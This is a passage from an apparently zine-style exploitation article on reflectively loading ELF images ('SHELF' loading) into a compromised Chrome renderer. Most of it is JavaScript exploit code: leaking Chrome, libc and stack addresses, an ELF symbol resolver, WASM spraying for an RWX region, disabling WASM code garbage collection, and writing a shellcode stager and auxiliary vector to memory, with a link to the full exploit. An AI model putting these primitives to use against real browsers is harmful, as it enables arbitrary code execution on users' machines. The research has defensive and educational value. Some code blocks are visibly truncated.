element. Usually, DOM elements have references within their object layout to some part 
of Blink's code base. As an example, we can create a div element to leak one of these 
pointers and then subtract the appropriate offset from it to retrieve Chrome's base, or
scan backward in search for an ELF header magic.

:: Leaking Libc base ::

Once we have successfully retrieved the base of Chrome, we can retrieve a pointer to 
libc from Chrome's Global Offset Table (GOT), as this should be a fixed offset per 
Chrome patch level. After that, we can apply the same methodology as for retrieving 
the base address of Chrome, by scanning backward for an ELF header magic:

  let libc_leak = chrome_accesor.getFloat64(kGOTOffset, true);
  libc_leak = itof(ftoi(libc_leak) & ~(0xfffn));
  let libc_base = get_image_base(ftoi(libc_leak));

:: Leaking the process stack ::

Now that we have libc's base address, we can retrieve the symbol __environ from libc as
it will point to the process' environment variables held in the stack. Since for this post
we are writing an exploit that is dependent of Chrome version, we need to be able to 
resolve the address of this symbol independently of libc version. To do this, we can 
build a resolver in JavaScript leveraging our stable read primitive.

  let elf = new Elf(libc_base, libc_accesor);
  let environ_addr = elf.resolve_reloc("__environ", R_X86_64_GLOB_DAT);
  let stack_leak = libc_accesor.getBigUint64(Number(environ_addr-libc_base), true)

Ultimately, we have to retrieve the address of libc's DYNAMIC segment to resolve various
dynamic entries including the address of the relocation table held in DT_RELA in order 
to scan for relocations, the address of DT_STRTAB for accessing the .dynstr and the 
address of DT_SYMTAB for accessing symbol entries in .dynsym.

We can then iterate the relocation table to search for the symbol we want. A snippet of 
the relevant code of this ELF resolver to retrieve relocation entries is shown below:

  let phnum = this.read(this.base_addr + offsetof_phnum, 2);
  let phoff = this.read(this.base_addr + offsetof_phoff, 8);
  for (let i = 0n; i < phnum; i++) {
      let offset =  phoff + sizeof_Elf64_Phdr * i;
      let p_type = this.read(this.base_addr + offset + offsetof_p_type, 4);
      if (p_type == PT_DYNAMIC) {
          dyn_phdr = i;
  let dyn_phdr_filesz = this.read(this.base_addr + phoff + sizeof_Elf64_Phdr * dyn_phdr + offsetof_p_filesz, 8);
  let dyn_phdr_vaddr = this.read(this.base_addr + phoff + sizeof_Elf64_Phdr * dyn_phdr + offsetof_p_vaddr, 8);
  for (let i = 0n; i < dyn_phdr_filesz/sizeof_Elf64_Dyn; i++) {
      let dyn_offset =  dyn_phdr_vaddr + sizeof_Elf64_Dyn * i;
      let d_tag = this.read(this.base_addr + dyn_offset + offsetof_d_tag, 8);
      let d_val = this.read(this.base_addr + dyn_offset + offsetof_d_un_d_val, 8);
      switch (d_tag) {
          case DT_PLTGOT:
              this.pltgot = d_val;
          case DT_JMPREL:
              this.jmprel = d_val;
          case DT_PLTRELSZ:
              this.pltrelsz = d_val;
          case DT_SYMTAB:
              this.symtab = d_val;
          case DT_STRTAB:
              this.strtab = d_val;
          case DT_STRSZ:
              this.strsz = d_val;
          case DT_RELAENT:
              this.relaent = d_val;
          case DT_RELA:
              this.rel = d_val;
          case DT_RELASZ:
              this.relasz = d_val;
  let centinel, size;
  if (sym_type == R_X86_64_GLOB_DAT) {
      centinel = this.rel;
      size = this.relasz/this.relaent;
  } else {
      centinel = this.jmprel;
      size = this.pltrelsz/this.relaent;
  for (let i = 0n; i < size; i++) {
      let rela_offset =  centinel + (sizeof_Elf64_Rela * i);
      let r_type = this.read(rela_offset + offsetof_r_info + 0n, 4);
      let r_sym = this.read(rela_offset + offsetof_r_info + 4n, 4);
      let sym_address;
      if (r_type == sym_type) {
          let sym_offset =  this.symtab + BigInt(r_sym) * sizeof_Elf64_Sym;
          if (sym_offset == 0n) {
          let st_name = this.read(sym_offset + offsetof_st_name, 4);
          if (st_name == 0n) {
          if (sym_type == R_X86_64_GLOB_DAT) {
              sym_address = this.base_addr + BigInt(this.read(sym_offset + offsetof_st_value, 4));
          } else {
              sym_address = this.pltgot + (i + 3n) * 8n;
          if (st_name === 0n) {
          let sym_str_addr = this.strtab + BigInt(st_name);
          let sym_str = "";
          let char
          while (true) {
              char = this.read(sym_str_addr, 1);
              if (char == 0)
              sym_str += String.fromCharCode(char);
          if (sym_name == sym_str) {
              return sym_address;

Achieving a stable large RWX region ──────────────────────────────────────────────────//──

Once we have leaked the location of all the memory regions we need, we now have to somehow
allocate a big enough memory region that is both writable and executable.

There are various techniques to achieve this. As documented by Brendon Tiszka, there is a
possibility to disable W^X, a protection that was enabled on JIT memory that prevents it 
from being both writable and executable.

There is also the possibility to encode our payload as float variables in a JITed function
to neglect the need of a writable region.

However, as of today WASM memory pages are RWX, therefore that's what we will be using for

I noticed that even if I created several WASM instances, only one RWX page was allocated,
meaning that each Wasm instance or module does not get a dedicated RWX page. However, if 
we spray WASM modules we will eventually force v8 to enlarge our RWX region.

We can do this as follows:

  // forcing V8 to generate a continuous RWX memory region of 0x801000 bytes
  for (let i = 0; i < 0x10000; i++) {
      new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
  // retrieving start address of RWX region
  let wasm_mod = new WebAssembly.Module(wasm_code);            
  let wasm_instance = new WebAssembly.Instance(wasm_mod);
  let wasm_entry = wasm_instance.exports.main;
  let wasm_instance_addr = stable_addrof(wasm_instance);
  wasm_instance_addr = ftoi(wasm_instance_addr) + 0x68n -1n;
  let rwx_page_addr = itof(heap_accesor.getBigUint64(Number(wasm_instance_addr), true));

If we check RWX regions in GDB we will see the following:

  pwndbg> vmmap -x -w
      0x38f0a69f2000     0x38f0a71f3000 rwxp   801000 0      [anon_38f0a69f2]

However, since we want to keep the integrity of our large RWX region, we also need to 
handle V8's WASM code GC.[12]

Fortunately for us, there is a flag to enable or disable this feature. This flag is 
v8::internal::FLAG_wasm_code_gc. We can see it reference under WasmEngine::AddPotentiallyDeadCode[13],
and if enabled it will eventually trigger a GC.

  if (FLAG_wasm_code_gc) {
      // Trigger a GC if 64kB plus 10% of committed code are potentially dead.
      size_t dead_code_limit =
          ? 0
          : 64 * KB + GetWasmCodeManager()->committed_code_space() / 10;
      if (new_potentially_dead_code_size_ > dead_code_limit) {
      bool inc_gc_count =
        info->num_code_gcs_triggered < std::numeric_limits<int8_t>::max();
      if (current_gc_info_ == nullptr) {
      if (inc_gc_count) ++info->num_code_gcs_triggered;
          "Triggering GC (potentially dead: %zu bytes; limit: %zu bytes).\n",
          new_potentially_dead_code_size_, dead_code_limit);

Thankfully for us this flag is fetched dynamically by the WasmEngine on compilation of 
WASM module code. Therefore, we can disable this feature on runtime by overwriting the 
appropiate offset in Chrome:

  // disabling garbage collection of wasm code
  chrome_accesor.setBigUint64(kWasmCodeGC, 0n);

Preparing a SHELF image ──────────────────────────────────────────────────────────────//──

In order to prepare our SHELF executable image, first we have to create a SHELF standalone
instance. If you are interested about the internals of this process, you can check our 
article from tmp.0ut vol 1.

The test C code we will be deploying is the following:

#include <stdio.h>
#include <string.h>

int main(void){
    int k;
    double sin() ,cos();
    float A = 0, B = 0, i, j, z[1760];
    char b[1760];
    char arr[6][75] = {
" ________  _________ _____ _   _ _\
____   _   _       _   _____ ",
"|_   _|  \\/  || ___ \\  _  | | | \
|_   _| | | | |     | | / __  \\",
"  | | | .  . || |_/ / | | | | | | \
| |   | | | | ___ | | `' / /'",
"  | | | |\\/| ||  __/| | | | | | |\
 | |   | | | |/ _ \\| |   / /  ",
"  | | | |  | || |_  \\ \\_/ / |_| \
| | |   \\ \\_/ / (_) | | ./ /___",
"  \\_/ \\_|  |_/\\_(_)  \\___/ \\_\
__/  \\_/    \\___/ \\___/|_| \\_____/",
    // unobfuscated version of donut.c by Andy Sloane
    // https://www.a1k0n.net/2006/09/15/obfuscated-c-donut.html)

    for( ; ; ) {
        memset(b, 32, 1760);
        memset(z, 0, 7040);

        for(j = 0; 6.28 > j; j += 0.07) {
            for(i = 0; 6.28 > i; i += 0.02) {
                float sini = sin(i),
                      cosj = cos(j),
                      sinA = sin(A),
                      sinj = sin(j),
                      cosA = cos(A),
                      cosj2 = cosj + 2,
                      mess = 1 / (sini * cosj2 * sinA + sinj * cosA + 5),
                      cosi = cos(i),
                      cosB = cos(B),
                      sinB = sin(B),
                      t = sini * cosj2 * cosA - sinj * sinA;
                int x = 40 + 30 * mess * (cosi * cosj2 * cosB -t * sinB),
                    y = 12 + 15 * mess * (cosi * cosj2 * sinB + t * cosB),
                    o = x + 80 * y,
                    N = 8 * ((sinj * sinA - sini * cosj * cosA) * cosB - sini * cosj
                    * sinA - sinj * cosA - cosi * cosj * sinB);
                if( 22 > y && y > 0 && x > 0 &&
                    80 > x && mess > z[o]){
                    z[o] = mess;
                    b[o] = ".,-~:;=!*#$@"[ N > 0 ? N : 0];
        for( k = 0; 1761 > k; k++)
            putchar(k % 80 ? b[k] : 10);

        A += 0.04;
        B += 0.02;
        for(int i = 0; i < 6; i++)
        puts("[+] Hi from SHELF!");

When we create our SHELF instance, we need to make sure to make a copy of the image before
removing its Program Header Table:

  gcc-9 donut.c -lm --static-pie -T ./static-pie.ld -o test
  cp test test_org
  python strip_headers.py ./test
  xxd -i ./test >> ./include/embedded.h

We need to retrieve the p_filesz of the PT_LOAD segment of our SHELF image. This will
be the size of our javascript payload:

Entry point 0x8920
There are 3 program headers, starting at offset 64

  Program Headers:
    Type           Offset             VirtAddr           PhysAddr
                   FileSiz            MemSiz              Flags  Align
    LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                   0x00000000000cb1f0 0x00000000000cca80  RWE    0x1000
    DYNAMIC        0x00000000000c8c18 0x00000000000c8c18 0x00000000000c8c18
                   0x00000000000025d8 0x0000000000003e40  RW     0x20
    TLS            0x00000000000c5628 0x00000000000c5628 0x00000000000c5628
                   0x0000000000000020 0x0000000000000060  RW     0x8

We can create a javascript file containing the output of xxd -i, to then format it as a
valid javascript file, also overwriting the value of the payload size with the value of 
p_filesz as previously mentioned:

  const G_AT_ENTRY = 0x8920
  const G_AT_PHNUM = 0x3
  const phdr = new Uint8Array([
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xb1, 0x0c, 0x00,
  const payload = new Uint8Array([
    0x04, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
    0x47, 0x4e, 0x55, 0x00, 0x02, 0x00, 0x00, 0xc0, 0x04, 0x00, 0x00, 0x00,
    0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x80, 0x00, 0xc0,
  const payload_len = 0xcb1f0;

Once we have our SHELF image ready and accessible from our exploit, we have to set our 
SHELF image's stack and delta offset of our headless ELF image. These offsets correspond
to the following values:

  // setting a safe address for SHELF stack
  let shelf_stack = (stack_leak-0x80000n)  & ~(0xfffn);
  let shelf_delta = Number(sizeof_Elf64_Ehdr + (BigInt(G_AT_PHNUM) * sizeof_Elf64_Phdr));

Then we have to copy our SHELF image to our RWX region, and write a stager where the 
original ELF headers would have been at the beginning of our SHELF image. This stager
is in charge of jumping to the SHELF entrypoint and setting the right stack address 
before doing so:

  /* [stager] :
      48 b8 42 42 42 42 42 42 42 42       movabs rax,0x4242424242424242
      48 89 c4                            mov rsp,rax
      48 31 db                            xor rbx,rbx
      48 31 c9                            xor rcx,rcx
      48 31 d2                            xor rdx,rdx
      48 31 f6                            xor rsi,rsi
      48 31 ff                            xor rdi,rdi
      48 b8 41 41 41 41 41 41 41 41       movabs rax,0x4141414141414141
      ff e0                               jmp rax
  let stack_addr_bytes = bigint_to_array(shelf_stack - BigInt(8*3));
  let entry_point_bytes = bigint_to_array(ftoi(rwx_page_addr) + BigInt(G_AT_ENTRY))
  let stager = new Uint8Array([
      0x48, 0xB8,
      0x48, 0x89, 0xc4,
      0x48, 0x31, 0xdb,
      0x48, 0x31, 0xc9,
      0x48, 0x31, 0xd2,
      0x48, 0x31, 0xf6,
      0x48, 0x31, 0xff,
      0x48, 0xb8,
      0xff, 0xe0
  for (let i = 0; i < stager.length; i++) {
      wasm_accessor.setUint8(i, stager[i]);
  for (let i = 0; i < len; i++) {
      wasm_accessor.setUint8(shelf_delta+i, payload[i]);

At this point, all we have left to do is to write the SHELF image Elf64_Auxv_t instance
in the SHELF's stack:

  let phdr_addr = ftoi(stable_addrof(phdr)) + 0x28n;
  let phdr_addr_bstore = heap_accesor.getBigUint64(Number(phdr_addr -1n), true)
  stack_accesor.setBigUint64(0x00, AT_PHDR, true);
  stack_accesor.setBigUint64(0x08, phdr_addr_bstore, true);
  stack_accesor.setBigUint64(0x10, AT_PHNUM, true);
  stack_accesor.setBigUint64(0x18, BigInt(G_AT_PHNUM), true);
  stack_accesor.setBigUint64(0x20, AT_ENTRY, true);
  stack_accesor.setBigUint64(0x28, ftoi(rwx_page_addr) + BigInt(G_AT_ENTRY), true);
  stack_accesor.setBigUint64(0x30, AT_RANDOM, true);  
  stack_accesor.setBigUint64(0x38, ftoi(rwx_page_addr), true);
  stack_accesor.setBigUint64(0x40, AT_PHENT, true);  
  stack_accesor.setBigUint64(0x48, sizeof_Elf64_Phdr, true);
  stack_accesor.setBigUint64(0x50, AT_NULL, true);  
  stack_accesor.setBigUint64(0x58, 0n, true);

Overall, the layout of our SHELF Image can be shown in the diagram below:

To pivot control of execution to our RWX region, we can use our wasm function accessor to do:


Alternatively, if we would like to use any other technique to generate a RWX region, we 
can overwrite PartitionAllocs hooks to do so, much like we would do with __free_hook
or __malloc_hook for glibc:

  chrome_accesor.setUint8(kHooksEnabled, 1);
  chrome_accesor.setBigUint64(kFreeObserverHook, ftoi(rwx_page_addr), true);

Below is a screenshot of our test involving the execution of a SHELF image compiled with 
libm on Chrome launched with the following flags:

  chrome --no-sandbox --user-data-dir=/tmp

if we check the process tree of chrome we will see the following:

    ├─chrome,104737        <-- Browser Process
    │   ├─chrome,104739
    │   │   ├─chrome,104762  <-- GPU Process
    │   │       ....
    │   ├─chrome,104740
    │   │   ├─chrome,104948  <-- Renderer process
    │   │   │   ├─{chrome},104953
    │   │   │   ├─{chrome},104955
    │   │   │   ├─{chrome},104956
    │   │   │   ├─{chrome},104961
    │   │   │   ├─{chrome},104964
    │   │   │   ├─{chrome},104968
    │   │   │   ├─{chrome},104970
    │   │   │   ├─{chrome},104971
    │   │   │   ├─{chrome},104972
    │   │   │   ├─{chrome},104973
    │   │   │   └─{chrome},105004

As we can observe, there are no anomalies in process-tree hierarchy. This is a simple 
visual example, but I hope it will give the reader a glance of what kind of capability
we can achieve with SHELF loading. The full exploit can be found here.[14]

Conclusion ───────────────────────────────────────────────────────────────────────────//──

Although reflectively loading ELF images from the browser sounds like a bit of an 
overkill, in my opinion it is a realistic capability to achieve with SHELF loading in
real-life exploit chains, even for chains requiring a SBX exploit. As shown by a Theori 
blog written by Tim Becker[15], there are ways to implement platform-agnostic SBX exploits
to ultimately disable the Chrome Sandbox for the subsequent use of a second unsandboxed 
renderer exploit.

Nevertheless, SHELF loading is not a universal technique for every browser exploit, and 
there may be scenarios in which other techniques to deploy ELF files in memory would be 
more convenient. However, I still believe that SHELF loading is an interesting avenue for
chaining consecutive payloads with anti-forensic capabilities for browser exploits in 
which arbitrary read/write primitives are granted, which has been a common trait for most
V8 exploitable bugs.

I would like to finalize showing my gratitude to the Tmp.0ut comunity, specifically to 
@elfmaster, @sblip, @TMZ, @netspooky, @richinseattle & @David3141593. Last by not least,
I would also like to show my appreciation to the content @btiszka has published in 
relation to Chrome exploitation, as it has been a great reference and a personal source
of motivation.

Thank you for reading, and see you next year!

-- @ulexec

References ───────────────────────────────────────────────────────────────────────────//──

[1]  https://tmpout.sh/1/10/
[2]  https://chromium-review.googlesource.com/c/v8/v8/+/2062396/4/test/mjsunit/compiler/regress-1053604.js
[3]  https://bugs.chromium.org/p/chromium/issues/detail?id=1053604
[4]  https://v8.dev/blog/pointer-compression
[5]  https://v8.dev/blog/v8-release-80
[6]  https://leethax0.rs/2021/04/ElectricChrome/
[7]  https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping-chrome/
[8]  https://v8.dev/blog/trash-talk
[9]  https://deepu.tech/memory-management-in-v8/
[10] https://tiszka.com/blog/CVE_2021_21225_exploit.html
[11] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/common/globals.h;l=360;drc=64556d13a49f535430733d86bc5a6a0f36ae7d56
[12] https://docs.google.com/document/d/14ZId5XdETWgQHJe4Jozi-aKwCwqvDLgLuokP0gnJq6Q/edit
[13] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-engine.cc;
[14] https://github.com/ulexec/ChromeSHELFLoader
[15] https://blog.theori.io/research/escaping-chrome-sandbox/